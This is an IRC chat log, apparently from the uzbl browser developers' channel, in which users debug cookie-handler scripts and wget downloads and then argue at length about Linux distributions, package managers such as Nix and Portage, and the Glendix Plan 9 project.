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18:54 < br0tat0chip> holizz: the fix worked for evrything but facebook.
18:54 < holizz> br0tat0chip, Yep. That's a bug in the Python script. If you want Facebook to work, use cookies.rb.
18:55 < noisetonepause> speaking of facebook, i can't comment on anything
18:55 < br0tat0chip> ah okay. link for cookies.rb?
18:55 < holizz> br0tat0chip, It should be where you found cookies.py.
18:55 < holizz> noisetonepause, Yeah, I noticed that yesterday.
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18:56 < noisetonepause> i actually thought it was cookies-related, since i don't use any form of cookie management
18:57 < holizz> That's a possibility. But I'm really not sure what's going on.
18:57 < noisetonepause> console message: http://www.facebook.com/home.php @1783: TypeError: Result of expression 'JSON.decode' [undefined] is not a function.
18:57 < noisetonepause> ^^it's outputting that for each click
18:59 < br0tat0chip> holizz: i got it from github.com/bct
19:00 < holizz> noisetonepause, Well that's true. JSON.decode is undefined. I wonder if it's supposed to be.
19:00 < br0tat0chip> holizz: is that an ok version of it?
19:00 < bct> it seems like sometimes <script src="..."/> aren't loaded
19:00 < bct> br0tat0chip, that's the only version afaik
19:00 < br0tat0chip> ah, guess ic an ask you :-P
19:02 < scj> hopefully webkit gets native json support soon
19:02 < br0tat0chip> aha it works
19:02 < bct> commenting works ok on facebook for me, the only thing that doesn't is facebook chat
19:03 < bct> has anybody figured out why uzbl prints out a ton of blank lines to the console when it's loading a page?
19:03 < br0tat0chip> ah nevermind. now cookies arnt working at all.
19:03 < holizz> Odd... WebKit will run "javascript:alert(JSON)", but Firefox won't.
19:04 < jrm8005> it probably does something like `print $foo; print \n'
19:04 < jrm8005> and for a lof othe time, foo=null
19:04 < holizz> bct, I haven't noticed that.
19:05 < bct> yeah, when i turn on -v there are about 3 blank lines between every cookie handler invocation
19:06 < bct> and when i turn off -v there are just a ton of blank lines.
19:06 < holizz> Which cookie handler are you using?
19:06 < bct> .rb
19:07 < bct> br0tat0chip, do you have XDG_DATA_HOME set?
19:08 < holizz> bct, Have you tried unsetting the variable and then seeing if the lines are printed?
19:08 < br0tat0chip> bct: it didnt play nice when i copied it into vim so i just downloaded it
19:08 < br0tat0chip> it works now
19:08 < bct> odd, but ok :)
19:09 < bct> holizz: just did, same deal.
19:10 < holizz> bct, How about your history handler? And do you have any other scripts set up?
19:10 < bct> the blank lines are appearing before the history handler is spawned (some for every item on the page that is loaded)
19:11 < bct> and i'm pretty sure that this has been happening since i first tried uzbl, so i doubt it's any of my settings
19:11 < scj> I've noticed it also
19:11 < holizz> orly?
19:12 < bct> aha
19:12 < bct> gdb ./uzbl; break printf
19:12 < bct> looks like it's soup_logger doing it
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19:50 < bob_f> Has that Allive dude been around lately ?
19:51 < bob_f> He was testing my cookies thing and I think I just fixed a bug that was causing him problems.
19:51 < bob_f> Anyone else want to test ?
19:51 < holizz> Sure.
19:51 < bob_f> Cool, one sec.
19:52 < bob_f> holizz: hg clone https://bitbucket.org/bobf/uzbld/
19:53 < bob_f> There's a README there, it's pretty straightforward to set up.
19:55 < bob_f> (I recommend nohup'ing it if you fork it when you run it, just in case it crashes).
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20:12 < holizz> bob_f, You seem to have Facebook's cookies working.
20:12 < bob_f> holizz: Yep.
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20:13 < bob_f> I am clearly a Jedi Ninja Hacker.
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20:13 < bob_f> (I have absolutely no idea what I did to make it work).
20:14 < Dieterbe> you are dangerous :P
20:15 < alip> how can i deny cookies from all sites except trusted ones?
20:15 < alip> i looked at the cookies file but it doesn't specify how to deny all
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20:17 < holizz> alip, That's not something any of the cookies handlers is set up to do. But you can add that functionalitiy if you need it. We love patches.
20:18 < bob_f> Rah, you guys are terrible at highlighting.
20:21 < alip> holizz: oh so i misunderstood the whole concept, i thought uzbl.c reads the ~/.config/uzbl/cookies file
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20:22 < alip> now it all makes sense, thanks! :)
20:23 < holizz> The source is a lie.
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20:37 < holizz> Time to go. Party time.
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21:10 < Rodya> i still need to figure out how to do cookies with wget for my download script =/
21:12 < scj> Rodya: wget --header="Cookie: $cookie"
21:12 < Rodya> its that easy? i thought it would be hard and have been putting it off lol
21:13 < scj> well, you have to get the cookie in the right format and all that, but that should do it
21:13 < scj> depending on how it's stored or retrieved
21:14 < Rodya> do you know if cookies.rb & cookies.py store cookies the same way?
21:14 < scj> no idea
21:14 < Rodya> i guess i'll try it out and see in a bit
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21:16 < bct> Rodya, they do.
21:16 < bct> and also:
21:16 < bct> wget --load-cookies
21:17 < bct> cookies.{py,rb,sh} all use a format that will work with --load-cookies.
21:17 < Rodya> bct, i love you
21:18 < bct> somebody published a download handler yesterday using that trick, i don't remember who or where
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21:32 < Rodya> while i was at it i went ahead and made it so wget set itself to the same user agent as the uzbl instance that spawns the script
21:32 < Rodya> maybe not a good idea, i'unno... could make it optional
21:36 < Dieterbe> bob_f> Rah, you guys are terrible at highlighting. <-- how do you mean bob_f ? i think my hilighting skills are pretty good bob_f ! you think not bob_f ? :)
21:37 < Dieterbe> bob_f: ^^
21:38  * bob_f melts.
21:38 < bob_f> Highlight overload.
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21:45 < Rodya> Does uzblctrl return anything of interest on completion (0 = success, I've found)?
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21:56 < bct> returns 1 if it fails to connect or send the command, otherwise returns 0.
21:57 < Rodya> yay for nothing weird to take into account :D
21:57 < bob_f> Dieterbe: I audibly breathed a sigh of relief when I read your post re: not liking dbus. :)
21:57 < bct> it'll return 0 even if the command is invalid though.
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22:14 < jrm8005> ooh, a fellow gentoo user.
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22:15 < bct> there are a few of us here.
22:16 < bob_f> I prefer that sentence without the "here". ;)
22:17 < bct> arch definitely has eaten gentoo's lunch
22:17 < jrm8005> I do'nt really know why.
22:18 < jrm8005> what is special about arch?
22:18 < bob_f> It's the favoured distro for uzbl !
22:18 < jrm8005> bob_f: no, seriously.
22:18 < scj> also; best linux distro
22:18 < Rodya> I assume someone has to grant you priveleges to edit the wiki? I'd like to post my downloader script to it
22:18 < jrm8005> there is no best linux distro.
22:19 < bct> Rodya, you just need to log in.
22:19 < scj> yes there is
22:19 < bct> i think the only page you need privileges to edit is the index.
22:19 < jrm8005> scj: no, there really isn't.
22:19 < Rodya> bct oh, hrm, maybe i should try in firefox then >.>
22:19 < jrm8005> that's like saying there's a best flavor of ice cream.
22:19 < bct> well, there is. pistachio.
22:19 < bct> and if you like anything different you're stupid and wrong.
22:19 < bob_f> jrm8005: I really don't know - nothing about it really gets me excited, and I'm pretty attached to sid.
22:19 < jrm8005> that's not `best' that's `your favorite'
22:19 < scj> so you are somehow confused by the fact that I am making subjective statements on my distro preferences?
22:20 < jrm8005> scj: no, I was asking for technical merits of Arch, not your opinion, which I find to be useless.
22:20 < bct> "best" usually isn't a subjective statement.
22:20 < scj> it always is
22:20 < jrm8005> all opinions are useless.
22:20 < jrm8005> and I agree, ``best'' is never an objective term
22:21 < jrm8005> I find objective analysis uses the term `suitable' a lot. But anyway, seriously, what does Arch have going for it?
22:21 < Rodya> http://www.uzbl.org/wiki/batch_downloader =D
22:21 < scj> jrm8005: it's simple and no frills
22:22 < Rodya> if anyone finds problems with it, i'll be happy to fix them
22:22 < jrm8005> scj: and gentoo isn't?
22:22 < scj> jrm8005: arch is a binary distro
22:22 < jrm8005> oh, I thought it was source.
22:22 < jrm8005> does it's package manager do dependencies?
22:22 < scj> but it has a great build system so it's really easy to just compile your own stuff if you chose to
22:23 < scj> yes
22:23 < jrm8005> how well?
22:23 < scj> pretty damn good, actually. I've never had any big problems with it
22:23 < jrm8005> one of the biggest reasons I went to gentoo was emerge. Apt has fucked me too many yimes
22:24 < jrm8005> I happily put up with time for compilation as a tradeoff for my machine always working even after the package manager has a problem.
22:24 < bct> jrm8005, has emerge improved much in the last couple of years? i switched to paludis a while ago because of emerge's failings, wondering if it's worth looking back.
22:24 < jrm8005> bct: I guess it's a lot better
22:24 < jrm8005> I've only used for about 1.5 years.
22:25 < jrm8005> they had a major update.
22:25 < jrm8005> I guess some of the nice things paludis does aren't supported, and emerge still sucks at search (I use eix, though, so I don't notice)
22:25 < jrm8005> I was looking at switching to paludis but it wasn't really a drop-in replacement
22:25 < bct> yeah, you need new config files.
22:26 < jrm8005> bct: I tried the migration, tool, too, and got paludis working, but it claimed I needed to redo 25 packages, some of which were huge. I said to hell with it
22:27 < jrm8005> there wasn't much I disliked about emerge. Although conceivably I could have switched when the blocker bug happened in portage.
22:27 < MichaelRaskin> jrm8005, is gentoo now Magic Ctrl-C immune?
22:27 < jrm8005> that was the only time (aside from struggling with sound during installation) that I've ever been mildly mad at gentoo
22:27 < bct> portage's QA seems to be going downhill
22:27 < jrm8005> MichaelRaskin: what is Magic Ctrl-C?
22:28 < bct> as does the up-to-dateness of portage.
22:28 < jrm8005> bct: hard to getdevelopers and no direction
22:28 < jrm8005> it's understandable, and sad
22:28 < bct> yup.
22:28 < MichaelRaskin> I.e. there is no moment during package update where I can press Ctrl-C ans ensure _lots_ of fun during bringing package manager to its senses
22:28 < jrm8005> drobbins is doing this thing called funtoo, and that might help
22:28 < jrm8005> MichaelRaskin: I kill emerges all the time
22:28 < jrm8005> and run more than one at once (another reason I like gentoo)
22:29 < jrm8005> no problems in 1.5 years
22:29 < bct> indeed.
22:29 < bct> whereas i made the mistake of killing apt-get once, that made quite a messe.
22:29 < MichaelRaskin> jrm8005, how it actually installs packages?
22:29 < jrm8005> bct: hopefully we can put drobbins in charge
22:29 < bct> jrm8005, i'm looking forward to seeing what happens with exherbo.
22:29 < jrm8005> MichaelRaskin: funtoo? Or portage?
22:29 < bct> of course there's all sorts of bad blood there.
22:29 < MichaelRaskin> The moment of overwriting libc.so should be sensitive..
22:29 < MichaelRaskin> portage
22:29 < jrm8005> yeah, I do'nt know th whole story
22:30 < MichaelRaskin> I know how Nix does it
22:30 < jrm8005> MichaelRaskin: It still does the whole build in /tmp then merges the directory over, but I think they've done lots to help with atomicity
22:30 < MichaelRaskin> That knowledge brings me peace
22:30 < bct> i don't know what would happen if you killed it in the middle of a mjor copy like tat. how do other distros do it?
22:30 < jrm8005> I image all managers would be susceptible to that.
22:31 < MichaelRaskin> jrm8005, no
22:31 < MichaelRaskin> Nix is actually immune
22:31 < jrm8005> how?
22:31 < MichaelRaskin> To the extent your FS is immune
22:31 < jrm8005> what happens if you kill -9 it during a copy?
22:31 < MichaelRaskin> jrm8005, well, if the crucial moment of switching is _one_ call of symlink(), there is no race moment
22:32 < MichaelRaskin> Either symlink is replaced or not
22:32 < Dieterbe> bob_f: hehe ;)
22:32 < jrm8005> ah, I see. An arguable reason to not want to kill symlinks.
22:32 < jrm8005> I don't know, I really don't worry much about the copy
22:33 < MichaelRaskin> Heh
22:33 < jrm8005> I've never had emerge crash, and if it does, I can just cp from my backups.
22:33 < jrm8005> which are always online.
22:34 < MichaelRaskin> Well, with Nix we get all sorts of goodies for purity.
22:34 < jrm8005> MichaelRaskin: most of my risks are mitigated by not having one machine, but a whole network that acts like one machine.
22:34 < jrm8005> ``purity''? In what sense?
22:35 < bct> nix is kind of hard to google.
22:35 < MichaelRaskin> Each package has its directory in "store"
22:35 < MichaelRaskin> bct: http://nixos.org
22:35 < jrm8005> ok, the use of purity is strange, but I get what you're saying.
22:35 < jrm8005> keeping everything sandboxed seems cool
22:35 < MichaelRaskin> "Pure functional"
22:36 < bct> whoa.
22:36 < bob_f> I enjoyed reading about Nixos, but I don't think I'd actually use it.
22:36 < bct> "Nix is a purely functional package manager. This means that it treats packages like values in purely functional programming languages"
22:36 < bct> that is intriguing.
22:37 < MichaelRaskin> The cool thing is that you can throw HDD space and make some problems go into dark
22:37 < jrm8005> such as?
22:37 < bob_f> bct: Some of the stuff nix can do is really interesting.
22:37 < MichaelRaskin> You favourite tool still needs glibc2.5 but your second-favourite one needs 2.9-with-special-patches?
22:37 < bob_f> But I kind of see it the same way I see haskell.
22:38 < jrm8005> of course.
22:38 < bct> bob_f, how's that?
22:38 < jrm8005> but really, it's just a sham around not having namespaces.
22:38 < MichaelRaskin> jrm8005, in some sense
22:38 < bob_f> bct: Cool and awesome and doing really interesting stuff, but just not really that useful.
22:38 < jrm8005> if Unix actually had per-process namespaces, you could do all of this really simply and cleanly by bind mounting together an ns for any program
22:38 < bob_f> But maybe nix is also very practical, I don't know.
22:38 < MichaelRaskin> Except it is successful workaround..
22:39 < jrm8005> I'm not saying it doesn't work or that it isn't cool and interesting.
22:39 < MichaelRaskin> jrm8005, the fun thing is that it technically has
22:39 < jrm8005> more of bashing Unix for making such things necessary
22:40 < jrm8005> has what?
22:40 < bct> haskell can be quite useful, it's just that your boss won't let you use it.
22:40 < bct> and your open-source projects will be ignored by everybody outside the haskell community.
22:40 < MichaelRaskin> But what you describe means either going the Nix way first, or making huge union mounts. Per process
22:40 < MichaelRaskin> bct, darcs is not
22:41 < MichaelRaskin> But I prefer monotone
22:41 < jrm8005> not necessarily per process. You can make a big default one, then separate ones can modify that for special cases, like needing 2 libc's
22:41 < MichaelRaskin> jrm8005, in Linux you can have processes with non-intersecting sets of mounted directories
22:41 < bct> cvs 4 lyfe, yo.
22:41 < jrm8005> MichaelRaskin: yes, but you need to be root to use per-proc NS
22:41 < jrm8005> and practically 0 linux software uses them :(
22:42 < bob_f> bct: Well, I'm a python dev. I don't exactly love python, but it's the best I've found for Getting Stuff Done.
22:42 < MichaelRaskin> That is true
22:42 < jrm8005> hopefully that changes.
22:42 < jrm8005> it would be nice.
22:42 < bob_f> bct: So from my point of view, haskell is pretty much at the opposite end of the spectrum for that.
22:42 < MichaelRaskin> jrm8005, by the way, simply per-process NS will not save you
22:42 < jrm8005> oh, no, but it's a large help
22:42 < bct> bob_f, i use python at work because it's more socially acceptable.
22:42 < MichaelRaskin> Your third-favourite tool would like to use your favourite tool and your second-favourite tool
22:43 < jrm8005> that would work fine.
22:43 < jrm8005> the tools themselves would share most of their ns
22:43 < bct> apart from that and a few areas where it has better libraries than my preferred languages, meh.
22:43 < jrm8005> just the libraries would be different. So they can still call each other and so on.
22:43 < MichaelRaskin> You need to manage it quite accurately
22:44 < jrm8005> I don't think that would be terribly hard.
22:44 < bob_f> bct: I use it because of the combination of good libs and the encouragement of sane practices.
22:44 < bct> and haskell can be quite good for getting things done. not in every area, but what language can truthfully claim that?
22:44 < MichaelRaskin> Harder than what Nix does
22:44 < jrm8005> least, not harder than managing symlinks.
22:44 < jrm8005> I doubt that.
22:44 < jrm8005> since if they just inherit the default ns, everything comes along for free.
22:44 < bob_f> But eh, I'm not a zealot about it. Python pays my bills, and I can think of a great many worse ways to pay my bills. :)
22:44 < jrm8005> their namespaces would be created after and from the global one.
22:45 < MichaelRaskin> You need to remove libc from the namespace.
22:45 < jrm8005> no, you don't need to remove it.
22:45 < bct> python's paternalism is one of the main things i dislike about it.
22:45 < MichaelRaskin> jrm8005, how come?
22:45 < jrm8005> things that need a special one just bind over it.
22:45 < bct> of course, one man's encouragement is another man's paternalism :)
22:45 < jrm8005> so default libc in default global ns, but program A which needs older libc only binds it's libc over the libc it sees in the global ns.
22:45 < jrm8005> nothing more than that.
22:45 < jrm8005> so the rest is still shared.
22:47 < bob_f> bct: Weird, I find it to be pragmatic - I know I'll be able to read just about any lib I use without having to spend time adapting to the author's coding style.
22:47 < bob_f> I can see why people would not like that, but for me it just adds to the Getting Things Done part.
22:47 < jrm8005> bob_f: whitespace in python? Doesn't mean people still don't have different coding styles.
22:48 < jrm8005> I've found that, being someone who uses real tabs, the python thing does more harm than good.
22:49 < bob_f> jrm8005: I didn't say anything about whitespace.
22:50 < jrm8005> thought that's what you meant by readability and same style (or at least part of what you meant)
22:50 < MichaelRaskin> One of the biggest mysteries for me is why there is no major distribution with suid chroot (which would drop privilege to ruid immediately after chrooting)
22:50 < bct> of course i also think weird things like that python's syntax is too homogenous.
22:50 < bob_f> jrm8005: Nope. I didn't even think of it because, once you actually use python, the whitespace thing is a complete non-issue.
22:50 < bct> throw some sigils in there, it helps break things up
22:50 < bct> :P
22:51 < jrm8005> MichaelRaskin: heh, because root is ingrained in everyone's minds.
22:51 < MichaelRaskin> I hoped FUSE would break the vicious cycle..
22:51 < jrm8005> someone ported Plan 9's /dev/caphash capability framework to linux and put a PAM module on it.
22:51 < MichaelRaskin> Seemingly no
22:51 < jrm8005> so you could theoretically run without root
22:51 < jrm8005> long way from eliminating suid and so on, but it's a setp
22:51 < jrm8005> step*
22:52 < jrm8005> and I also thought FUSE would make people rethink at least needing to be root to mount anything, but oh well.
22:52 < jrm8005> linux is in some respect like Windows, no one cares about genuine, simple, scientific improvements
22:52 < jrm8005> largely because they see no immediate benefit.
22:53 < MichaelRaskin> jrm8005, Nix is designed in its creator's PhD thesis
22:53 < jrm8005> nice
22:53 < MichaelRaskin> And it seems to be scientific improvement
22:54 < jrm8005> MichaelRaskin: It sounds like it. However, I'm only really interested in fixin things from the bottom up.
22:54 < jrm8005> so I'm involved with the Glendix project, to slowly turn Linux into Plan 9
22:54 < MichaelRaskin> jrm8005, migrate to MINIX
22:54 < jrm8005> quietly, without anyone noticing
22:54 < jrm8005> minix blows.
22:54 < jrm8005> microkernels are not the answer, and minix doesn't even have USB.
22:55 < bob_f> What do you have against microkernels ?
22:55 < jrm8005> Tanenbaum does nothing but spew hatred at people based on supposedly ``accepted'' facts that aren't facts or accepted.
22:55 < MichaelRaskin> For the record: you want to turn Linux into Plan9 _and_ you dislike microkernels??
22:56 < jrm8005> bob_f: Aside from L4 and QNX (which cheat a little bit), they're too slow, too hard to debug, and not worth the trouble
22:56 < jrm8005> communications protocols are tricky, and making the OS depend on them for everything is, IMO, unwise.
22:57 < MichaelRaskin> jrm8005, actually glendix and Nix are not mutually exclusive works..
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22:57 < MichaelRaskin> For any of your ideas to work you need to make packages be combinable.
22:57 < MichaelRaskin> That means knowing which installer changes what,
22:58 < jrm8005> MichaelRaskin: oh, I know that, it's just as interesting as Nix is, I have to be a bit uninterested in more things if I want to finish my personal projects :P
22:58 < jrm8005> MichaelRaskin: actually, we plan on solving all this stuff with namespaces
22:58 < MichaelRaskin> and once you start solving the shared file problems, you find out that using Nix packages as the base of your effort is reasonable
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22:58 < jrm8005> no, the shared file thing only really matters for user files
22:58 < jrm8005> since plan9 and linux programs won't share much code
22:59 < jrm8005> they will potentially call eachother, but plan9 programs don't use shared libraries, which blows away 90% of the problem
22:59 < jrm8005> shared libraries are stupid :\
22:59 < MichaelRaskin> jrm8005, what will you do with 100 packages each trying to _change_ /usr/share/mime.types
22:59 < MichaelRaskin> ?
22:59 < jrm8005> they won't.
23:00 < jrm8005> since the plan9 ones will not, and since that problem on the linux side is already obviously dealt with, it's a nonissue
23:00 < MichaelRaskin> So you propose to throw away all existing GNU/Linux-tied software?
23:00 < jrm8005> no
23:00 < MichaelRaskin> It is not dealt with..
23:00 < jrm8005> I never said that at all
23:00 < MichaelRaskin> Some package maitainers try to do _something_ about it.
23:00 < jrm8005> MichaelRaskin: try a better example maybe? I've never seen 100 packages try to touch mime.types
23:01 < jrm8005> MichaelRaskin: gentoo has collision detection
23:01 < jrm8005> which doesn't require anything on the package maintainer's side.
23:01 < MichaelRaskin> And what does it actually do when it finds a collision?
23:01 < jrm8005> it puts the new version there with a separate name, notifies you of the problem, records it, and lets you fix it with a tool
23:02 < jrm8005> which is pretty damn sane.
23:02 < MichaelRaskin> jrm8005, but it is not a solution..
23:02 < jrm8005> sure it is.
23:02 < jrm8005> I'd rather not have 100 versions of a file that should be global.
23:02 < jrm8005> :P
23:02 < MichaelRaskin> Imagine you have 3 packages trying to touch the same file.
23:02 < jrm8005> (or 100 symlinks)
23:02 < jrm8005> MichaelRaskin: then it does a 3-way diff.
23:02 < jrm8005> or an n-way diff.
23:03 < jrm8005> if it's a global file, it's going to be hit. I'm not convined that the functional approach is a good one in this case, as certain files shouldn't be replicated and have multiple versions for each program.
23:03 < MichaelRaskin> The real fun thing is that usually throwing away such files goes unnoticed
23:03 < jrm8005> especially mime databases.
23:03 < MichaelRaskin> Mime databases are combined per-profile
23:03 < MichaelRaskin> from per-package snippets
23:04 < jrm8005> MichaelRaskin: exactly, that's what merging does.
23:04 < jrm8005> I'd rather not have it happen without me knowing.
23:04 < jrm8005> so emerge tells me, then I run a resolver tool, which merges trivial changes, like the ones you're talking about with the `per-package snippets'
23:05 < jrm8005> anything that's a direct line conflict is done by hand, which is fine.
23:05 < jrm8005> I'm not saying Nix's approach for that  is invalid, it's just not compelling.
23:06 < MichaelRaskin> We put emphasis on having many simultaneously usable configurations.
23:06 < jrm8005> MichaelRaskin: I would find multiple versions of the mime database quite annoying.
23:06 < jrm8005> not that I really use mime stuff, I use the plumber, but meh
23:07 < MichaelRaskin> jrm8005, as MIME database usually contains handlers, I'd prefer to have different .xls descriptions when I use gnumeric and when I use abiword
23:07 < jrm8005> and if you have multiple configs, namespaces make it quite easy to do
23:07 < MichaelRaskin> Not that I use mime
23:08 < jrm8005> MichaelRaskin: so you want the mime handler to change globally based on what software you're currently running?
23:08 < jrm8005> maybe if the software weren't crap you'd only be using one and the whole argument goes out the window.
23:08 < MichaelRaskin> jrm8005, no. There is simply no "globally"
23:08 < jrm8005> which I find unwise. The whole functional-camps ``war on state'' is stupid and irrational.
23:09 < bob_f> Hm.
23:09 < jrm8005> I like state very much, thank you.
23:09 < bob_f> I don't think "stupid and irrational" is exactly constructive criticisim.
23:09 < MichaelRaskin> I put most of the software in the current-system (which is somewhat like global state).
23:09 < bob_f> criticism*
23:09 < MichaelRaskin> But we need to make it a first among equal configuration - at least for easy ollbacks
23:09 < MichaelRaskin> But we need to make it a first among equal configuration - at least for easy rollbacks
23:10 < jrm8005> bob_f: calling something like emacs vs vi stupid is, I think, acceptable
23:10 < bob_f> What does that have to do with it ?
23:10 < jrm8005> MichaelRaskin: so you're essentially forcing the system to have a `global' state
23:11 < MichaelRaskin> It is not that global - for most of the things it is just "default" state
23:11 < bob_f> You're talking about a whole family of programming languages and a whole paradigm for systems design, not a few children arguing over editors.
23:11 < jrm8005> bob_f: no, I was referring to the fact that some functional people have a huge disdain for anything that uses mutable state, and I think it's irrational.
23:12 < jrm8005> MichaelRaskin: again, I just don't find this compelling in any way.
23:12 < bob_f> That's fair enough, but I don't see what that has to do with the idea of writing a purely functional package manager.
23:12 < jrm8005> bob_f: I wasn't talking about that.
23:12 < Dieterbe> scj> jrm8005: it's simple and no frills
23:13 < Dieterbe> jrm8005> scj: and gentoo isn't?
23:13 < Dieterbe> exactly
23:13 < jrm8005> I was talking about how I find the desire to eliminate state stupid
23:13 < jrm8005> Dieterbe: I do'nt see how gentoo has a lot of frills.
23:13 < jrm8005> you can put frills in anything, but that doesn't mean they were there to begin with.
23:13 < MichaelRaskin> jrm8005, it arises naturally when you have some moderately niche things a priority
23:13 < bob_f> jrm8005: Well, you said this right after MichaelRaskin mentioned nix's lack of global state, so I assumed it was related.
23:14 < bob_f> I'm curious why you think nix having no global state is unwise, that's all.
23:14 < jrm8005> bob_f: because I use global state, and the complexity of managing a bunch of mostly unused features is, to me, pointless
23:14 < Dieterbe> jrm8005: use flags, slots all the things they put in place because they think choice is so important.  with arch everything is very simple.  you're assumed to use only 1 version of a program at a time and stuff like thait. choice is less important so we need less code to support it
23:15 < jrm8005> MichaelRaskin: perhaps I'm too dumb, but I never use these vague `niche things' you prioritize.
23:15 < jrm8005> Dierterbe: I love USE flags, and I understand the desire for slots.
23:15 < jrm8005> without use flags, you wind up having an all-or-nothing approach
23:15 < jrm8005> and I'd rather not have the `all' bloat.
23:15 < bob_f> jrm8005: Eh, sounds to me like you've just got used to a particular paradigm and that's making you see something that isn't particularly complicated at all as something very complicated.
23:15 < MichaelRaskin> I was just _too_ mad at the package managers' corner cases
23:16 < jrm8005> bob_f: I'm not arguing against functional programming. I think you're taking my statements entirely too broadly.
23:16 < bob_f> i.e. I don't really think using nix would be that impractical at all; just a different way of thinking and working.
23:16 < bob_f> jrm8005: No, I'm talking specifically about nix.
23:16 < jrm8005> Dieterbe: also, you get stupid things like in debian with mutt and mutt-patched
23:17 < jrm8005> bob_f: I'm just saying I think it's useless in this context. It seems all about corner cases, and I think corner cases should not be a goal of a good program
23:17 < bob_f> But isn't corner cases the reason you stopped using debian ?
23:17 < Dieterbe> jrm8005: that's how it's in Arch too. you have the official package which is compiled with some options. if you want other options you build a custom package.  it's more simple then implementing a concept such as use flags, and it works
23:17 < bob_f> apt works pretty much all the time, save for a few "corner cases".
23:17 < MichaelRaskin> bob_f, they were the reason for me to stop using debian
23:18 < jrm8005> bob_f: no, that's not why I left.
23:18 < jrm8005> I left because it broke shit all the time.
23:18 < bob_f> Heh.
23:18 < jrm8005> Dieterbe: yes, but I'd rather not have to make a whole new package every time I want to do something different.
23:18 < bob_f> I guess you have had different experience to me then.
23:18 < jrm8005> bob_f: apt is not reliable. Apt is shit.
23:19 < bob_f> Yet it has never actually caused me any problems.
23:19 < jrm8005> and I was never doing anything crazy
23:19 < jrm8005> just updates or something.
23:19 < jrm8005> and it would screw everything over.
23:19 < jrm8005> nevermind the fact that it wasn't reentrant... ugh
23:19 < bob_f> Yup, this has never happened to me. I have never had a single problem with it.
23:19 < jrm8005> bob_f: lucky you.
23:20 < jrm8005> I hope you never lose a whole machine because Apt screws itself.
23:20 < jrm8005> because I wanted to kill that day.
23:20 < Dieterbe> jrm8005: that's your choice. i'm happy that i can understand the code of my package manager :)
23:20 < jrm8005> Dieterbe: I have no interest in reading my package manager. I want it to be invisible, and support some good idea.
23:20 < jrm8005> s
23:20 < jrm8005> emerge pretty much fits that bill.
23:21 < jrm8005> I only use it once or twice a month, so all I want is control over the software I'm installing and reliability.
23:21 < bob_f> The "control" bit is something I've never really understood about gentoo.
23:21 < jrm8005> bob_f: if you don't want to control the features of your software, it's not good for you
23:22 < jrm8005> but I like being able to pare out things that are retarded like xml, dbus, hal
23:22 < jrm8005> and get something slimmer.
23:22 < bob_f> I have so much software on my machine, I would spend my entire life "controlling" its installation. There are a handful of programs I *do* care about it for, so just build them from source and apt-get build-dep.
23:22 < MichaelRaskin> jrm8005, how do you estimate the chances for Glendix to get into mainline? Just asking..
23:22 < jrm8005> bob_f: you don't have to do it manually, you can enable USE flags globally
23:22 < jrm8005> MichaelRaskin: as soon as some issues are fixed, all our patches will go in.
23:23 < bob_f> jrm8005: Right, but my point is I just don't care about it. :)
23:23 < jrm8005> Christoph is ok with bringing in our initial code
23:23 < jrm8005> and then once we've fleshed out the syscalls more and tested them, they can go through
23:23 < MichaelRaskin> And how many Plan9 system calls do you have unimplemented?
23:23 < jrm8005> the capability device is already in
23:23 < jrm8005> we have about 10 or 15
23:23 < jrm8005> we're working on rfork and mount
23:24 < MichaelRaskin> That would be nice.
23:24 < jrm8005> we aim to have it all in.
23:24 < jrm8005> binary compatibility, obviously.
23:24 < Dieterbe>  Rodya> http://www.uzbl.org/wiki/batch_downloader =D <-- screenie? :)
23:24 < jrm8005> mount and rfork are hard, though.
23:24 < jrm8005> Linux is so not set up to do things right.
23:25 < jrm8005> I mean, the raw features are there, but things like root and suid throw a huge monkey wrench at us.
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23:25 < Dieterbe> o_O
23:25 < Dieterbe> what's wrong with root and suid?
23:25 < jrm8005> I imagine in the beginning, you'll be running a lot of plan 9 stuff as root
23:25 < jrm8005> Dieterbe: it's a useless security risk.
23:25 < Rodya> Dieterbe, there's not much to see... either standard zenity dialogs (list and save file), and status_message updates =/
23:25 < MichaelRaskin> I guess the same things as with BKL
23:25 < jrm8005> plan 9 has no root user.
23:26 < jrm8005> MichaelRaskin: how do you mean?
23:26 < Dieterbe> bkl=?
23:26 < MichaelRaskin> BIG Kernel Lock
23:26 < jrm8005> big kernel lock
23:26 < jrm8005> some threads actually locked the entire kernel.
23:26 < jrm8005> it's mostly gone now, though
23:27 < MichaelRaskin> The problem is that it is bigm unscalable, wrong granularity..
23:27 < jrm8005> there are a couple things that still call lock_kernel, but they really are just a few
23:27 < MichaelRaskin> jrm8005, except that it took a few years to get to the current state
23:27 < jrm8005> oh yeah, not saying it wasn't a bitch and half.
23:27 < jrm8005> but it's mostly done.
23:27 < MichaelRaskin> And it looks like it would take a few more years.
23:27 < MichaelRaskin> To finish off that nasty hydra
23:27 < jrm8005> I was actually cleaning up some drivers and was saddened to see them calling it.
23:28 < jrm8005> MichaelRaskin: luckily it's gone from most of the stuff like FS and core kernel stuff.
23:28 < Rodya> Dieterbe, I guess I could do all of those, no reason not to I suppose o_O
23:28 < jrm8005> it's mostly shitty drivers now.
23:28 < MichaelRaskin> jrm8005, are your patches version-moveable?
23:28 < jrm8005> which keep getting added all the time...
23:28 < MichaelRaskin> I.e. is 2.6.29 a suggestion or a hard requirement?
23:28 < jrm8005> ichaelRaskin: we port them forward. I think they're at 2.6.29
23:28 < jrm8005> it's not hard.
23:28 < jrm8005> they may just apply to 2.6.30
23:28 < jrm8005> I think we've been to busy to port them.
23:29 < jrm8005> it wasn't a big deal to move them from 26->28, so it should be fine.
23:29 < MichaelRaskin> I run 2.6.31-rc2 now
23:29 < jrm8005> there was a huge break in 28, but I found the bug and got it fixed.
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23:29 < jrm8005> Linux literally kills off any interrupt vector other than 80.
23:29 < jrm8005> which is fucking stupif.
23:29 < MichaelRaskin> And migrating back is not simple (I use BtrFS)
23:30 < jrm8005> MichaelRaskin: I think they will apply easily.
23:30 < jrm8005> but we mostly just test this stuff in a vm, not on real hardware.
23:30 < MichaelRaskin> jrm8005, it is cheating
23:30 < jrm8005> MichaelRaskin: yes.
23:31 < Dieterbe> hmm these guys are leet
23:31 < jrm8005> we have one person who boots it up on real hardware. However, since none of this really does much other than punt to other syscalls, I don't really care.
23:31 < MichaelRaskin> Even I am cheating by not putting my /home where my /nix/store is..
23:31 < jrm8005> when we actually get to send it to mainline, we will all boot test it. I have 5 boxes, but they're all 100s of miles away right now.
23:32 < jrm8005> Dieterbe: who?
23:33 < MichaelRaskin> I read the report on Glendix..
23:33 < Dieterbe> jrm8005: you and MichaelRaskin 
23:33 < jrm8005> heh
